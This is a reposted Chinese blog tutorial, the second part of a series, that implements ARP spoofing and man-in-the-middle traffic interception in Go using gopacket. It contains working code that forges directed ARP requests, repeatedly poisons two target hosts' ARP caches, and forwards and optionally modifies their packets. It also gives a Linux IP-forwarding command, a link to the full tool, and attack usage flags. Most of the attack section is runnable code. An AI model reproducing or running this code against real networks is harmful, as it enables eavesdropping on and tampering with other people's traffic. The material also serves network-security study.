转:http://www.cnblogs.com/baizx/p/5572878.html
上一篇讲了原理,那么这一篇主要讲如何实现。基本上也就是实现上面的两个步骤,这里基于gopacket实现,我会带着大家一步步详细把每个步骤都讲到。
ARP 欺骗
首先就是伪造ARP请求,让A和B把数据包发到我这里来。
利用gopacket 发送一个ARP请求,下面是一个实现函数,可以用来发送一个指定ip地址和mac地址的arp请求。
//send a arp reply from srcIp to dstIP
func SendAFakeArpRequest(handle *pcap.Handle, dstIP, srcIP net.IP, dstMac, srcMac net.HardwareAddr) {
arpLayer := &layers.ARP{
AddrType:layers.LinkTypeEthernet,
Protocol:layers.EthernetTypeIPv4,
HwAddressSize:6,
ProtAddressSize:4,
Operation:layers.ARPRequest,
DstHwAddress:dstMac, //正常情况下,这里应该是FFFFFFFFF,但是这里通过指定来发送虚假定向ARP请求
DstProtAddress:[]byte(dstIP.To4()),
SourceHwAddress:srcMac,
SourceProtAddress:[]byte(srcIP.To4()),
}
ethernetLayer := &layers.Ethernet{
SrcMAC: srcMac,
DstMAC: dstMac, //正常情况下,这里应该是FFFFFFFFF,但是这里通过指定来发送虚假定向ARP请求
EthernetType:layers.EthernetTypeARP,
}
// And create the packet with the layers
buffer := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths:true,
ComputeChecksums:true,
}
err := gopacket.SerializeLayers(buffer, opts,
ethernetLayer,
arpLayer,
)
if err != nil {
log.Error(err)
}
outgoingPacket := buffer.Bytes()
log.Debug("sending arp")
//log.Debug(hex.Dump(outgoingPacket))
handleMutex.Lock()
err = handle.WritePacketData(outgoingPacket)
handleMutex.Unlock()
if err != nil {
log.Error(err)
}
}
下面是循环向A和B播报虚假MAC地址,其中要攻击的就是IP1和ip2
//tell ip1 that ip2's mac is mymac and tell ip2 that ip1's mac is mymac periodly
func sendSudeoArpInfo(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, shouldStop *bool) { fmt.Printf("start sending fake arp packets...\n") handle, err := pcap.OpenLive(interfaceName, 65535, false, pcap.BlockForever) handle.SetDirection(pcap.DirectionOut) defer handle.Close() if err != nil { log.Fatal(err) } for ! (*shouldStop) { //tell ip1 that ip2's mac is mymac SendAFakeArpRequest(handle, ip1, ip2, mac1, mymac) //tell ip2 that ip1's mac is mymac SendAFakeArpRequest(handle, ip2, ip1, mac2, mymac) time.Sleep(1 * time.Second) } }
这样第一步就完成了。
剩下的就是第二步,等待数据包到来,然后进行转发
IP转发
如果只是单纯想观察一下数据流,比如把数据报保存下来,留作以后分析等,那其实很简单,我们可以不用编程,直接使用ip forward这样的功能,如果在linux下,可以直接这样:
#:> echo 1 > /proc/sys/net/ipv4/ip_forward
sudo sysctl -w net.inet.ip.forwarding=1
这里我们主要讲如何用程序来实现。arppoisoning函数会进行包转发,参数很直观,第一个是要处理的网卡,最后一个用来控制停止。
/*
将截获ip1和ip2之间通信的所有流量,自己相当于是一个中间人的角色,
close(stop) or write somthing to stop when you want to stop
*/
func ArpPoisoning(interfaceName string, myip, ip1, ip2 net.IP, mymac, mac1, mac2 net.HardwareAddr, stop chan bool) { var filter string = fmt.Sprintf("ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String()) err = handle.SetBPFFilter(filter) //设置包过滤,只处理ip1 ip2 if err != nil { log.Fatal(err) return } log.Infof("capture filter: ip host %s or ip host %s ", ip1.To4().String(), ip2.To4().String()) packetSource := gopacket.NewPacketSource(handle, handle.LinkType()) ip2Mac := make(map[string]net.HardwareAddr) ip2Mac[ip1.String()] = mac1 ip2Mac[ip2.String()] = mac2 in := packetSource.Packets() var packet gopacket.Packet for { select { case <-stop: shouldStop = true time.Sleep(3 * time.Second) //多等一会儿,让arp发送线程有机会结束
return case packet = <-in: layer := packet.Layer(layers.LayerTypeEthernet) log.Debug("receive a packet") if layer != nil { ethLayer := layer.(*layers.Ethernet) //下面这一段来判断是ip1和ip2之间的数据包,如果是,那么应该进行mac地址修改,然后再转发 if bytes.Compare(ethLayer.DstMAC, mymac) == 0 { layer = packet.Layer(layers.LayerTypeIPv4) if layer != nil { iplayer := layer.(*layers.IPv4) //目标mac是我,并且ip地址是我要监听的两个,那么转发 if ( (ipEqual(iplayer.DstIP, ip1) && ipEqual(iplayer.SrcIP, ip2) ) || ( ipEqual(iplayer.DstIP, ip2) && ipEqual(iplayer.SrcIP, ip1) )) { log.Debug("receive a valid packet...") raw := PacketHandler(packet, ip2Mac) //handleMutex.Lock() err := handle.WritePacketData(raw) log.Debug("resend this packet..") //handleMutex.Unlock() if err != nil { log.Error(err) return } } } } } } } }
PacketHandler 可以自定义,这样可以实现自己想要的功能,比如修改包的内容再转发等等。
下面是基本的PacketHandler实现,就是什么都不做,只是转发。
func PacketHandler(packet gopacket.Packet, ip2Mac map[string]net.HardwareAddr) []byte { data := packet.Data() layer := packet.Layer(layers.LayerTypeIPv4) iplayer := layer.(*layers.IPv4) layer = packet.Layer(layers.LayerTypeEthernet) ethLayer := layer.(*layers.Ethernet) dstMac := ip2Mac[iplayer.DstIP.String()] //找到真正的mac地址是什么,然后修改
//copy(data,dstMac) for i := 0; i < len(dstMac); i++ { data[i] = dstMac[i] } return data }
到此为止,已经把ARP欺骗进行流量截获的基本原理以及实现方法讲解完毕,当然真正的可运行程序要比这上面说的复杂,要考虑到使用方便等,完整的实现可以见https://github.com/nkbai/arppoison
用法
arppoison -ip1 192.168.56.103 -ip2 192.168.56.104 -t seconds -d
-ip1,-ip2: the ip will be attacked
-t how many seconds to attack,default is 3000 *3600 seconds, 3000 hour
-d print debug message